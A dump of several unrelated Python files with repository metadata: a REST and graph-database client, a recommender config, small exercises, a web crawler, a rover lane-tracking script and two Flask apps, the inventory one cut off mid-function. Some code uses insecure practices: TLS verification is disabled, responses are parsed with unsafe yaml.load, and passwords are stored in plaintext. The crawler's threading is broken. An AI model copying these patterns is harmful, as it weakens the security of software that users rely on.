instantiate REST client without CLOUDOS info')\n\n self.verbose_mode = verbose_mode\n\n self.session = requests.Session()\n adapter = requests.adapters.HTTPAdapter(pool_connections=10,\n pool_maxsize=50, max_retries=10,\n pool_block=False)\n self.session.mount('http://', adapter)\n self.session.verify = False\n\n self.verbose(self.verbose_mode)\n\n self.token = self.authenticate()\n\n def close(self):\n self.session.close()\n\n def verbose(self, state):\n httplib.HTTPConnection.debuglevel = 1 if state == True else 0\n requests_log.setLevel(logging.DEBUG if state == True else logging.INFO)\n log.setLevel(logging.DEBUG if state == True else logging.INFO)\n\n def authenticate(self):\n d = {'username': str(self.username), 'password': str(self.password)}\n\n status_code, d = self.post('/api/authenticate/generate-token', d, True)\n if status_code in [httplib.FOUND, httplib.OK, httplib.CREATED,\n httplib.ACCEPTED]:\n return d.get('token', None)\n\n raise Exception('authentication failed')\n\n def check_response(self, response):\n status = response.get('status', 'pass')\n if status.lower() in ['pass', 'success']:\n return True\n\n return False\n\n def post(self, url, data, is_login=False):\n if is_login:\n json_data = json.dumps(data)\n headers = {'Content-Type': 'application/json'}\n\n response = self.session.post(self.baseurl + url, data=json_data,\n headers=headers, allow_redirects=False)\n\n if response.status_code == httplib.OK:\n return (response.status_code, json.loads(response.content).get('data'))\n else:\n multipart_data = MultipartEncoder(fields=data)\n headers = {'Content-Type': multipart_data.content_type}\n if self.token:\n headers['token'] = self.token\n\n response = self.session.post(self.baseurl + url, data=multipart_data,\n headers=headers, allow_redirects=False)\n\n if response.status_code in [httplib.OK, httplib.CREATED,\n httplib.ACCEPTED]:\n d = yaml.load(response.content)\n if self.check_response(d):\n log.debug(yaml.dump(d))\n return response.status_code, d\n else:\n log.error(yaml.dump(d))\n raise Exception('post failed with error code: {}'\n .format(response.status_code))\n else:\n raise Exception('post failed with error code: {}'\n .format(response.status_code))\n\n def put(self, url, data):\n headers = {'Content-Type': 'application/json'}\n if self.token:\n headers['token'] = self.token\n\n if not data:\n data = {}\n response = self.session.put(self.baseurl + url,\n headers=headers, allow_redirects=False)\n\n if response.status_code in [httplib.OK, httplib.CREATED,\n httplib.ACCEPTED]:\n d = yaml.load(response.content)\n if self.check_response(d):\n log.debug(yaml.dump(d))\n return response.status_code, d\n else:\n log.error(yaml.dump(d))\n raise Exception('put failed with error code: {}'\n .format(response.status_code))\n else:\n raise Exception('put failed with error code: {}'\n .format(response.status_code))\n\n def delete(self, url):\n headers = {}\n if self.token:\n headers['token'] = self.token\n response = self.session.delete(self.baseurl + url, headers=headers)\n if response is None or response.status_code not in [httplib.OK,\n httplib.ACCEPTED]:\n raise Exception('delete failed')\n\n def get(self, url, redirect=False):\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0',\n 'token': self.token, 'Accept-Encoding': 'json'\n }\n try:\n cookies = {'authToken': self.token}\n response = self.session.get(self.baseurl + url, headers=headers,\n allow_redirects=redirect, cookies=cookies)\n except Exception as e:\n log.info('Suspect URL {}'.format(url))\n log.exception(sys.exc_info())\n raise e\n\n log.debug(response.text)\n if httplib.OK == response.status_code:\n d = yaml.load(response.text)\n if self.check_response(d):\n log.debug(yaml.dump(d))\n return d\n else:\n log.error(yaml.dump(d))\n raise Exception('get failed with error code: {}'\n .format(response.status_code))\n\n\nclass mkg_client:\n \"Query APIs to interact with neo4j (mkg) directly\"\n\n def __init__(self):\n mkgurl, username, password = get_mkg_info()\n if not mkgurl or not username or not password:\n raise Exception('Cannot create mkg_client without mkg info')\n\n parsed = urlparse(mkgurl)\n py2neo.authenticate(parsed.netloc, username, password)\n if not mkgurl.endswith('/'):\n mkgurl = mkgurl + '/'\n self.mkg = py2neo.Graph(mkgurl + 'db/data/')\n\n def delete_all(self):\n self.mkg.delete_all()\n\n def get_all_clouds(self):\n return self.mkg.find('cloud')\n\n def get_cloud(self, cloudId):\n return self.mkg.find_one('cloud', 'name', cloudId)\n\n def get_cloud_tenants(self, cloudId):\n cloudNode = self.mkg.find_one('cloud', 'name', cloudId)\n rels = self.mkg.match(end_node=cloudNode, rel_type='is_in_cloud')\n return [rel.start_node for rel in rels]\n\n def get_cloud_images(self, cloudId):\n cloudNode = self.mkg.find_one('cloud', 'name', cloudId)\n rels = self.mkg.match(start_node=cloudNode, rel_type='has_image')\n return [rel.end_node for rel in rels]\n\n def get_cloud_flavors(self, cloudId):\n cloudNode = self.mkg.find_one('cloud', 'name', cloudId)\n rels = self.mkg.match(start_node=cloudNode, rel_type='cloud_has_flavor')\n return [rel.end_node for rel in rels]\n\n def get_flavors_for_image(self, imageNode):\n rels = self.mkg.match(start_node=imageNode, rel_type='image_has_flavor')\n return [rel.end_node for rel in rels]\n\n def get_networks(self, tenantNode):\n rels = self.mkg.match(start_node=tenantNode,\n rel_type='has_access_to_network')\n return [rel.end_node for rel in rels]\n\n def get_subnets(self, networkNode):\n rels = self.mkg.match(start_node=networkNode, rel_type='has_subnet')\n return [rel.end_node for rel in rels]\n\n def get_instance_engines(self, cloudId):\n images = self.get_cloud_images(cloudId)\n for image in images:\n rels = self.mkg.match(end_node=image, rel_type='created_from_image')\n return [rel.start_node for rel in rels]\n\n def get_instance_engine(self, cloudId, name):\n d = {}\n engine = self.mkg.find_one('engine', 'name', name)\n if not engine:\n return\n\n # get the image for the engine\n rels = self.mkg.match(start_node=engine, rel_type='created_from_image')\n images = [rel.end_node for rel in rels]\n if len(images) != 1:\n raise Exception(\"Expected 1 image for engine. Found \" + len(images))\n\n cloudNode = self.mkg.find_one('cloud', 'name', cloudId)\n d['cloud'] = str(cloudNode['name'])\n rels = self.mkg.match(start_node=cloudNode, rel_type='has_image')\n d['alias'] = str(engine['name'])\n d['type'] = str(engine['type'])\n d['cpu'] = str(engine['nr_cpus'])\n d['memory'] = int(float(engine['memory']))\n # d['_CreationTime'] = str(engine['_CreationTime'])\n\n options = json.loads(str(engine['options']))\n if options != None:\n if options.has_key('env'):\n env = [str(env) for env in options['env']]\n d['environment'] = env\n\n if options.has_key('ports'):\n ports = [str(ports) for ports in options['ports']]\n d['ports'] = ports\n\n d['image'] = str(images[0]['name'])\n\n # find the application node attached to the engine to find the command\n rels = self.mkg.match(end_node=engine, rel_type='runs_in_engine')\n apps = [rel.start_node for rel in rels]\n if len(apps) == 1:\n d['command'] = str(apps[0]['command'])\n\n # find the port attached to the engine\n rels = self.mkg.match(end_node=engine, rel_type='is_in_engine')\n ports = [rel.start_node for rel in rels]\n if len(ports) > 0 :\n subnets = self.get_subnet(ports)\n d['subnet'] = [str(s['ip_range']) for s in subnets][0]\n\n return {'service': d}\n\n def get_subnet(self, ports):\n subnets = []\n for port in ports:\n rels = self.mkg.match(start_node=port, rel_type='is_in_subnet')\n subnet = [rel.end_node for rel in rels]\n subnets.append(subnet[0])\n\n return subnets\n\n def get_host(self, cloudId):\n return self.mkg.find_one('engine', 'cloud_id', cloudId) \n\n def get_workload_host(self, nodeMkgId):\n node = self.mkg.find_one('engine', 'mkgNodeId', nodeMkgId)\n if node is None:\n return None\n rels = self.mkg.match(end_node=node, rel_type='contains_engine')\n return rels.next().start_node\n\n def get_host_cloud(self, hostCloudId):\n engineNode = self.mkg.find_one('engine', 'cloud_id', hostCloudId)\n tenantRel = self.mkg.match(start_node=engineNode, rel_type='belongs_to_tenant')\n tenantNode = tenantRel.next().end_node\n cloudRel = self.mkg.match(start_node=tenantNode, rel_type='is_in_cloud')\n cloud = cloudRel.next().end_node\n return cloud\n\n def get_cloud_hosts(self, cloudName):\n # If no cloudName is specified, return hosts in all clouds\n if cloudName is None:\n hosts = self.mkg.find('engine', 'type', 'PHYSICAL_SERVER')\n return [host for host in hosts]\n cloudNode = self.mkg.find_one('cloud', 'cloud_id', cloudName)\n if cloudNode is None:\n return None\n tenantRels = self.mkg.match(end_node=cloudNode, rel_type='is_in_cloud')\n tenantNode = tenantRels.next().start_node\n hostRels = self.mkg.match(end_node=tenantNode, rel_type='belongs_to_tenant')\n return [rel.start_node for rel in hostRels]\n\n def execute(self, cypher_query):\n return self.mkg.cypher.execute(cypher_query)\n","repo_name":"composureai/perfectstorm","sub_path":"core/teacup/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32145616485","text":"conf = {\n # Minimum number of users and items in interactions set for whom to run the\n # recommendation engine in a tenant\n \"min_data\": {\"min_users\": 10, \"min_items\": 10},\n # The L2 penalty on user and item features when features are being used in the model\n \"user_alpha\": 1e-6,\n \"item_alpha\": 1e-6,\n # The columns in the users and items datasets that need to be expanded horizontally\n # and are currently in the form `property_1|property_2|...|property_n`\n \"spread_hor\": {\n \"users\": (\n \"lang\",\n \"country\",\n \"interests\",\n \"asp_position\",\n \"positions\",\n \"organisations\",\n \"badges\",\n )\n },\n # The columns in the users and items datasets that are in the key-value pairs form\n # and need expansion into horizontal format or multiple columns\n \"expand_dict\": {\"users\": (\"competencies_scale\",)},\n # The columns that will be concatenated for text processing. These are usually the\n # columns with free text\n \"concat\": {\n \"users\": (\n \"city\",\n \"description\",\n )\n },\n \"lang_config\": {\n \"ar\": {\"name\": \"Arabic\", \"models\": ()},\n \"bg\": {\"name\": \"Bulgarian\", \"models\": ()},\n \"cs\": {\"name\": \"Czech\", \"models\": ()},\n \"da\": {\"name\": \"Danish\", \"models\": ()},\n \"de\": {\n \"name\": \"German\",\n \"models\": (\n \"de_core_news_md\",\n \"de_core_news_sm\",\n ),\n },\n \"el\": {\"name\": \"Greek\", \"models\": ()},\n \"en\": {\n \"name\": \"English\",\n \"models\": (\n \"en_core_web_md\",\n \"en_core_web_sm\",\n ),\n },\n \"es\": {\n \"name\": \"Spanish\",\n \"models\": (\n \"es_core_news_md\",\n \"es_core_news_sm\",\n ),\n },\n \"et\": {\"name\": \"Estonian\", \"models\": ()},\n \"fa\": {\"name\": \"Persian\", \"models\": ()},\n \"fi\": {\"name\": \"Finnish\", \"models\": ()},\n \"fr\": {\"name\": \"French\", \"models\": ()},\n \"he\": {\"name\": \"Hebrew\", \"models\": ()},\n \"hi\": {\"name\": \"Hindi\", \"models\": ()},\n \"hr\": {\"name\": \"Croatian\", \"models\": ()},\n \"hu\": {\"name\": \"Hungarian\", \"models\": ()},\n \"it\": {\n \"name\": \"Italian\",\n \"models\": (\n \"it_core_news_md\",\n \"it_core_news_sm\",\n ),\n },\n \"ja\": {\"name\": \"Japanese\", \"models\": ()},\n \"lt\": {\"name\": \"Lithuanian\", \"models\": ()},\n \"lv\": {\"name\": \"Latvian\", \"models\": ()},\n \"nl\": {\n \"name\": \"Dutch\",\n \"models\": (\n \"nl_core_news_md\",\n \"nl_core_news_sm\",\n ),\n },\n \"no\": {\"name\": \"Norwegian\", \"models\": ()},\n \"pl\": {\"name\": \"Polish\", \"models\": ()},\n \"pt\": {\"name\": \"Portuguese\", \"models\": ()},\n \"ro\": {\"name\": \"Romanian\", \"models\": ()},\n \"ru\": {\"name\": \"Russian\", \"models\": ()},\n \"sk\": {\"name\": \"Slovak\", \"models\": ()},\n \"sl\": {\"name\": \"Slovenian\", \"models\": ()},\n \"sr\": {\"name\": \"Serbian\", \"models\": ()},\n \"sv\": {\"name\": \"Swedish\", \"models\": ()},\n \"th\": {\"name\": \"Thai\", \"models\": ()},\n \"tr\": {\"name\": \"Turkish\", \"models\": ()},\n \"zh\": {\"name\": \"Chinese\", \"models\": ()},\n },\n}\n\n\nclass Config:\n \"\"\"\n This is a conceptual representation of accessing the configuration elements from the\n conf object\n \"\"\"\n\n def __init__(self):\n \"\"\"\n The constructor method\n \"\"\"\n self._config = conf\n\n def get_property(self, property_name):\n \"\"\"\n This method accesses and returns the called item of the `conf` dictionary. The\n method returns `None` when the\n provided key does not match with any key of the `conf` dictionary\n :param property_name: A key from the keys of the `conf` dictionary\n :type property_name: str\n :return: An item from the `conf` dictionary whose key was used as input\n \"\"\"\n value = None\n if property_name in self._config.keys():\n value = self._config[property_name]\n return value\n","repo_name":"riyuexing/totara","sub_path":"extensions/ml_recommender/python/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"74568824107","text":"''' \r\nDaniele Ferreira da Silva 2019.1.08.033\r\nJosé Flávio Lopes 2019.1.08.045\r\n'''\r\n\r\ndef main():\r\n casos = int(input())\r\n while casos > 0:\r\n cont = 0\r\n numero = input()\r\n palindromo = False\r\n aux = 0\r\n while not palindromo:\r\n numReverso = numero[::-1]\r\n if numReverso == numero:\r\n palindromo = True\r\n else:\r\n aux = int(numero) + int(numReverso)\r\n numero = str(aux)\r\n cont += 1 \r\n print(f'{cont} {numero}')\r\n casos -=1\r\n\r\nmain()","repo_name":"d4niferreira/Desafios","sub_path":"problem9/soma.py","file_name":"soma.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22997798053","text":"import requests\nfrom bs4 import BeautifulSoup as bs\nimport threading\n# Made with the help of tutorial from https://www.youtube.com/watch?v=pLHejmLB16o\n# Aleksander Mielczarek\n\ndef spider(articles):\n \"\"\"\n Spider function crawls on the page of TheVerge to find links to articles and print the titles of first 10 articles\n to the console. The crawling on specific articles is multithreaded\n\n :param articles: int (the number of articles to save links of)\n :return: list of strings (links to articles)\n \"\"\"\n\n article_links = []\n page = 1\n while len(article_links) < articles:\n url = 'https://www.theverge.com/games/archives/'+str(page)\n source_code = requests.get(url)\n plain_text = source_code.text\n soup = bs(plain_text, features=\"html.parser\")\n\n for article_link in soup.findAll('h2', class_=\"c-entry-box--compact__title\"):\n link = article_link.find('a')\n article_links.append(link.get('href'))\n if len(article_links) >= articles:\n break\n page += 1\n\n thread0 = threading.Thread(target=spider_thread(article_links[0]))\n thread0.start()\n thread1 = threading.Thread(target=spider_thread(article_links[1]))\n thread1.start()\n thread2 = threading.Thread(target=spider_thread(article_links[2]))\n thread2.start()\n thread3 = threading.Thread(target=spider_thread(article_links[3]))\n thread3.start()\n thread4 = threading.Thread(target=spider_thread(article_links[4]))\n thread4.start()\n thread5 = threading.Thread(target=spider_thread(article_links[5]))\n thread5.start()\n thread6 = threading.Thread(target=spider_thread(article_links[6]))\n thread6.start()\n thread7 = threading.Thread(target=spider_thread(article_links[7]))\n thread7.start()\n thread8 = threading.Thread(target=spider_thread(article_links[8]))\n thread8.start()\n thread9 = threading.Thread(target=spider_thread(article_links[9]))\n thread9.start()\n\n thread0.join()\n thread1.join()\n thread2.join()\n thread3.join()\n thread4.join()\n thread5.join()\n thread6.join()\n thread7.join()\n thread8.join()\n thread9.join()\n\n return article_links\n\n\ndef spider_thread(link):\n \"\"\"\n spider_thread function prints the title of a TheVerge article\n\n :param link: string (link to article to extract title from)\n :return: none\n \"\"\"\n article_soup = bs(requests.get(link).text, features=\"html.parser\")\n text = article_soup.find('h1', class_=\"c-page-title\").getText()\n print(text)\n\n\nprint(spider.__doc__)\nprint(spider(10))","repo_name":"Olteonz/WebCrawler","sub_path":"crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10168736198","text":"import os\nimport cv2\nimport math\nimport random\nfrom image_processor import ImageProcessor, ESC_KEY\nfrom lane_tracking.detect import LaneDetector\nfrom imutils.video import WebcamVideoStream\nfrom remote_control import client\nfrom remote_control.common import MotorManager\nfrom remote_control.client import Keys\nfrom calibration_data import HSVData, UPPER_BOUND, LOWER_BOUND, DATA_DIR, load_serialize_data\nfrom utility import line_intersection, distance, get_average_line\nfrom lane_tracking.track import LaneTracker\nfrom datetime import datetime\n\nfrom remote_control import client, common\n\n\ntry:\n from rover import RoverClient\n\n rover = RoverClient()\n rover_status = True\nexcept:\n rover_status = False\n\nLIVE_STREAM = \"http://192.168.43.164:8080/?action=stream\"\nimage_processor = ImageProcessor(threshold_1=1000, threshold_2=2000)\n\n\ndef main():\n if os.environ.get('VIDEO_PATH') is None:\n camera_stream = WebcamVideoStream(src=LIVE_STREAM).start()\n else:\n camera_stream = WebcamVideoStream(src=1).start()\n\n window_name = \"Main\"\n\n lane_detect = LaneDetector(50)\n lane_tracker = LaneTracker(2, 0.1, 500)\n\n ticks = 0\n\n # Create the motor manager\n motor_manager = MotorManager(1)\n\n # Initialize the current iteration to 0\n current_iteration = 0\n\n # Create the start time\n start_time = None\n\n while camera_stream.stream.isOpened():\n pre_ticks = ticks\n ticks = cv2.getTickCount()\n dt = (ticks - pre_ticks) / cv2.getTickFrequency()\n\n frame = camera_stream.read()\n\n if frame is not None:\n height = frame.shape[0]\n width = frame.shape[1]\n\n image = frame\n predicted_points = lane_tracker.predict(dt)\n points = lane_detect.detect(image)\n\n if predicted_points is not None:\n cv2.line(image,\n (predicted_points[0][0], predicted_points[0][1]),\n (predicted_points[0][2], predicted_points[0][3]),\n (255, 0, 0), 4)\n cv2.line(image,\n (predicted_points[1][0], predicted_points[1][1]),\n (predicted_points[1][2], predicted_points[1][3]),\n (255, 0, 0), 4)\n\n if points is not None and points[0] is not None and points[1] is not None:\n lane_tracker.update(points)\n\n l_p1 = (int(points[0][0]), int(points[0][1]))\n l_p2 = (int(points[0][2]), int(points[0][3]))\n r_p1 = (int(points[1][0]), int(points[1][1]))\n r_p2 = (int(points[1][2]), int(points[1][3]))\n\n # Create the lanes\n left_lane, right_lane = LaneDetector.get_left_right_lanes((l_p1, l_p2), (r_p1, r_p2))\n\n # TODO: Store the coordinates of the lane\n # Draw the lanes\n cv2.line(image, left_lane[0], left_lane[1], (0, 255, 0), 2)\n cv2.line(image, right_lane[0], right_lane[1], (0, 255, 0), 2)\n\n vp = line_intersection(left_lane, right_lane)\n # If the VP exists\n if vp:\n # Draw the theoretical vp\n cv2.circle(image, tuple(vp), 10, (0, 244, 255), thickness=4)\n\n dm_ds = warning_detection(height, width, image, vp, left_lane, right_lane)\n\n # Get the movement\n movement = perceive_movement(dm_ds[0], dm_ds[1], width / 4)\n current_iteration += 1\n # Sample a certain number of frames and grab the majority direction\n if current_iteration <= motor_manager.max_count:\n # Update the movement\n motor_manager.update_movement(movement)\n else:\n # print(\"Start Time: \", start_time)\n if start_time is None:\n start_time = datetime.now()\n # TODO: Time stamp how often we receive an instruction\n # Reset the current iteration and update the movement\n current_iteration = 0\n motor_manager.update_movement(movement)\n movement_key = motor_manager.get_max_movement()\n motor_manager.reset_movement()\n client.handle_key(Keys.KEY_SPACE)\n print(\"-----------------Sending movement...-------------------\")\n # Send the movement to the rover\n client.handle_key(movement_key)\n if abs(datetime.now().second - start_time.second) > 2:\n start_time = None\n\n cv2.imshow(window_name, image)\n key = cv2.waitKey(ESC_KEY) & 0xFF\n if key == 27:\n break\n else:\n # When we do not detect a line - this means we have probably gone off the lane or tilted\n # We should randomly turn back and forth as if we're looking for our lane again, assuming that\n # our rover simply tilted\n print(\"Passed\")\n predicted_points = lane_tracker.predict(dt)\n if predicted_points is not None:\n line_1 = ((predicted_points[0][0], predicted_points[0][1]),\n (predicted_points[0][2], predicted_points[1][2]))\n line_2 = ((predicted_points[1][0], predicted_points[1][1]),\n (predicted_points[1][2], predicted_points[1][3]))\n\n left_lane, right_lane = LaneDetector.get_left_right_lanes(line_1, line_2)\n cv2.line(image, left_lane[0], left_lane[1], (255, 120, 80), 3)\n cv2.line(image, right_lane[0], right_lane[1], (255, 120, 80), 3)\n vp = line_intersection(left_lane, right_lane)\n if vp is not None:\n cv2.circle(image, tuple(vp), 10, (0, 244, 255), thickness=4)\n dm_ds = warning_detection(height, width, image, vp, left_lane, right_lane)\n\n movement = perceive_movement(dm_ds[0], dm_ds[1], width / 4)\n\n if start_time is None:\n start_time = datetime.now()\n # client.handle_key(Keys.KEY_SPACE)\n client.handle_key(movement)\n\n elapsed_time = abs(datetime.now().second - start_time.second)\n print(\"Elapsed Time in Else: \", elapsed_time)\n if elapsed_time > 2:\n start_time = None\n else:\n # TODO: Randomly turn left and right\n client.handle_key(Keys.KEY_SPACE)\n\n client.handle_key(Keys.KEY_SPACE)\n cv2.imshow(window_name, frame)\n key = cv2.waitKey(ESC_KEY) & 0xFF\n if key == 27:\n break\n continue\n\n\ndef warning_detection(width, height, image, vp, left_lane, right_lane):\n \"\"\"\n Returns the distance between the edges of the warning box and the points of intersection\n with the lanes.\n :param width: Image's width\n :param height: Image's height\n :param image: The actual image\n :param vp: The coordinate representing the vanishing point\n :param left_lane: The left lane\n :param right_lane: The right lane\n :return: tuple (dm, ds)\n \"\"\"\n half_width = int(width / 2)\n half_height = int(height / 2)\n\n bottom_left = (vp[0] - half_width, vp[1] + half_height)\n bottom_right = (vp[0] + half_width, vp[1] + half_height)\n\n cv2.rectangle(image,\n (vp[0] - half_width, vp[1]),\n (vp[0] + half_width, vp[1] + half_height),\n (0, 0, 255), thickness=2)\n\n warning_y = (int(vp[0] + half_width / 2), int(vp[1] + half_height))\n\n cv2.rectangle(image, (vp[0] - int(width / 4), vp[1]), warning_y, (244, 64, 130), thickness=2)\n\n m = line_intersection((bottom_left, bottom_right), left_lane)\n s = line_intersection((bottom_left, bottom_right), right_lane)\n if m is not None and s is not None:\n a_m = m[0]\n b_m = m[1]\n a_s = s[0]\n b_s = s[1]\n\n # Draw the left distance of the screen\n cv2.line(image, tuple(m), bottom_left, color=(66, 199, 244), thickness=4)\n # Draw the intersection\n cv2.circle(image, tuple(m), radius=4, color=(66, 199, 89), thickness=5)\n # Draw the right distance of the screen\n cv2.line(image, tuple(s), bottom_right, color=(66, 199, 244), thickness=4)\n # Draw the intersection\n cv2.circle(image, tuple(s), radius=4, color=(66, 199, 89), thickness=5)\n\n d_m = distance((a_m, b_m), bottom_left)\n d_s = distance((a_s, b_s), bottom_right)\n return d_m, d_s\n\n\ndef perceive_movement(d_m, d_s, threshold):\n \"\"\"\n Checks the distance between the left and the right bounds. If d_m is larger than the threshold,\n force the rover to turn RIGHT. If d_s is larger than the threshold, force the rover to turn LEFT.\n The threshold is typically the image's width / 4.\n \n Steering should just return a state.\n \n :param d_m: distance from the left bound\n :param d_s: distance from the right bound\n :param threshold: Value determining if the car should steer or drive forward\n :return: None\n \"\"\"\n if d_m > threshold:\n # print(\"Left\")\n return common.Keys.KEY_LEFT\n elif d_s > threshold:\n # print(\"Right\")\n return common.Keys.KEY_RIGHT\n else:\n # print(\"Straight\")\n return common.Keys.KEY_UP\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"psuong/iRobot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9899,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"36194332955","text":"'''\nPAPER DOLL: Given a string, return a string where for every character in the original there are three characters\npaper_doll('Hello') --> 'HHHeeellllllooo'\npaper_doll('Mississippi') --> 'MMMiiissssssiiippppppiii'\n'''\ndef paper_doll(word):\n\tfinal_word =\" \"\n\tfor char in word:\n\t\tfinal_word =final_word+ char*3\n\treturn final_word\nprint(paper_doll(\"hello\"))","repo_name":"abodi050/kjkjkjkjkj","sub_path":"myexperiment_new/old_is_gold/function/paper_doll.py","file_name":"paper_doll.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42342274000","text":"from NNRunClass import *\nimport os\nimport glob\n\ndef parseNNRunFile(filename, dir):\n nnRunObj = NNRun()\n nnRunObj.name = filename\n rawNNFile = open(dir + \"/NNRuns/\" + filename, \"r\")\n currEpoch = 0.0\n for line in rawNNFile:\n temp = line.split()\n\n if temp[0] == 'Epoch':\n if currEpoch != 0.0:\n nnRunObj.addEpoch(currEpoch)\n currEpoch = Epoch()\n\n elif temp[1][0] == '[':\n currEpoch.time = int(temp[-13].split('s')[0]);\n currEpoch.valAcc = float(temp[-1])\n currEpoch.valLoss = float(temp[-4])\n currEpoch.acc = float(temp[-7])\n currEpoch.loss = float(temp[-10])\n\n elif temp[0] == \"Found\":\n if nnRunObj.numTrainImg == 0.0:\n nnRunObj.numTrainImg = int(temp[1])\n else:\n nnRunObj.numValImg = int(temp[1])\n\n if currEpoch != 0.0:\n nnRunObj.addEpoch(currEpoch)\n nnRunObj.lastValPercent = currEpoch.valAcc\n nnRunObj.lastTrainPercent = currEpoch.acc\n\n nnRunObj.valImgPercent = nnRunObj.numValImg / (float(nnRunObj.numTrainImg) + float(nnRunObj.numValImg));\n\n cat_dirs = [d for d in os.listdir(dir + '/data/') if os.path.isdir(os.path.join(dir + '/data/', d))]\n for name in cat_dirs:\n nnRunObj.addClassName(name)\n \n return nnRunObj;\n","repo_name":"Bradpat28/NeuralNetworkGeneralization","sub_path":"NNRunViewer/NNRunViewer/Scripts/parseHelper.py","file_name":"parseHelper.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73675668586","text":"from flask import request, render_template, make_response\nfrom discussion_bot import app\nfrom discussion_bot.api_util import create_content, api_url, slack_post\nfrom discussion_bot.bot_util import reply_to\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef post():\n post_text = None\n bot_reply = None\n if request.method == 'POST':\n post_text = request.form.get('text')\n bot_reply = reply_to(post_text)\n return render_template('post_form.html', post_text=post_text, bot_reply=bot_reply)\n\n\n@app.route('/dis_reply', methods=['POST'])\ndef dis_reply():\n data = request.get_json()\n text = data.get('text')\n site_id = data.get('siteId')\n container_id = data.get('threadId')\n user_id = data.get('userId')\n text = reply_to(text)\n content_data = render_template('post.json', site_id=site_id, container_id=container_id,\n user_id=user_id, text=text)\n create_content(api_url(), site_id, 'post', content_data, user_id)\n # post on slack\n slack_post('Wikia id: {siteId}, Post id: {threadId}, Message: {text}'.\n format(text=text, siteId=site_id, threadId=container_id))\n return make_response(('', 200))\n\n\n@app.route('/reply', methods=['POST'])\ndef reply(text=None):\n if not text:\n text = request.form.get('text')\n if not text:\n text = request.get_json()['text']\n if not text:\n raise Exception(\"text was not provided\")\n return reply_to(text)\n\n","repo_name":"armonr/discussion-bot","sub_path":"discussion_bot/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31977981067","text":"from flask import Flask, request, jsonify, render_template, Request\n\nimport mysql.connector\n\napp = Flask(__name__)\n\n# Configure MySQL connection\ndb = mysql.connector.connect(\n host=\"localhost\",\n user=\"root\",\n password=\"******\",\n database=\"inventorymanagementsystem\"\n)\n\n# Create a cursor object to interact with the database\ncursor = db.cursor()\n\n# Define API endpoints\n\n\n@app.route('/registeruser', methods=['POST'])\ndef register_user():\n data = request.json # Assuming you receive JSON data in the request\n\n # Extract user registration data from the JSON request\n username = data.get('username')\n email = data.get('email')\n password = data.get('password')\n\n # Insert user data into the database\n try:\n cursor.execute(\"INSERT INTO users (username, email, password) VALUES (%s, %s, %s)\",\n (username, email, password))\n db.commit()\n return jsonify({\"message\": \"User registered successfully\"}), 201\n except Exception as e:\n db.rollback()\n return jsonify({\"error\": str(e)}), 500\n\n\n\n@app.route('/getallproducts', methods=['GET'])\ndef get_all_products():\n try:\n cursor.execute(\"SELECT * FROM products\")\n products = cursor.fetchall()\n product_list = []\n for product in products:\n product_dict = {\n \"product_id\": product[0],\n \"name\": product[1],\n \"description\": product[2],\n \"price\": float(product[3])\n }\n product_list.append(product_dict)\n return jsonify(product_list), 200\n except Exception as e:\n return jsonify({\"error\": str(e)}), 500\n\n\n\n@app.route('/order', methods=['POST'])\ndef create_order():\n data = request.json # Assuming you receive JSON data in the request\n\n # Extract order data from the JSON request\n user_id = data.get('user_id')\n # Insert order data into the database\n try:\n cursor.execute(\"INSERT INTO orders (user_id) VALUES (%s)\", (user_id,))\n db.commit()\n return jsonify({\"message\": \"Order created successfully\"}), 201\n except Exception as e:\n db.rollback()\n return jsonify({\"error\": str(e)}), 500\n\n\n@app.route('/allorders', methods=['GET'])\ndef get_all_orders():\n try:\n cursor.execute(\"SELECT * FROM orders\")\n orders = cursor.fetchall()\n order_list = []\n for order in orders:\n order_dict = {\n \"order_id\": order[0],\n \"user_id\": order[1],\n \"order_date\": order[2].isoformat()\n }\n order_list.append(order_dict)\n return jsonify(order_list), 200\n except Exception as e:\n return jsonify({\"error\": str(e)}), 500\n\n\n@app.route('/addproduct', methods=['POST'])\ndef add_product():\n data = request.json # Assuming you receive JSON data in the request\n\n # Extract product data from the JSON request\n name = data.get('name')\n description = data.get('description')\n price = data.get('price')\n\n # Insert product data into the database\n try:\n cursor.execute(\"INSERT INTO products (name, description, price) VALUES (%s, %s, %s)\",\n (name, description, price))\n db.commit()\n return jsonify({\"message\": \"Product added successfully\"}), 201\n except Exception as e:\n db.rollback()\n return jsonify({\"error\": str(e)}), 500\n\n\n@app.route('/updateproduct/', methods=['PUT'])\ndef update_product(product_id):\n data = request.json # Assuming you receive JSON data in the request\n\n # Extract updated product data from the JSON request\n name = data.get('name')\n description = data.get('description')\n price = data.get('price')\n\n try:\n cursor.execute(\"UPDATE products SET name=%s, description=%s, price=%s WHERE product_id=%s\",\n (name, description, price, product_id))\n db.commit()\n return jsonify({\"message\": f\"Product with ID {product_id} updated successfully\"}), 200\n except Exception as e:\n db.rollback()\n return jsonify({\"error\": str(e)}), 500\n\n\n\n@app.route('/deleteproduct/', methods=['DELETE'])\ndef delete_product(product_id):\n try:\n cursor.execute(\"DELETE FROM products WHERE product_id=%s\", (product_id,))\n db.commit()\n return jsonify({\"message\": f\"Product with ID {product_id} deleted successfully\"}), 200\n except Exception as 